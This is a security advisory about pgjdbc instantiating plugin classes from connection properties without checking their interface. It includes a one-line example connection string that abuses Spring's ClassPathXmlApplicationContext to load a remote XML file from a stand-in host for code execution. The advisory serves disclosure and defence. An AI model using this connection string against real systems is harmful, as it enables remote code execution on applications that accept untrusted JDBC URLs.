Summary: pgjdbc Does Not Check Class Instantiation when providing Plugin Classes

Details: ### Impact pgjdbc instantiates plugin instances based on class names provided via `authenticationPluginClassName`, `sslhostnameverifier`, `socketFactory`, `sslfactory`, `sslpasswordcallback` connection properties. However, the driver did not verify if the class implements the expected interface before instantiating the class. Here's an example attack using an out-of-the-box class from Spring Framework: ``` DriverManager.getConnection("jdbc:postgresql://node1/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://target/exp.xml"); ``` The first impacted version is REL9.4.1208 (it introduced `socketFactory` connection property)
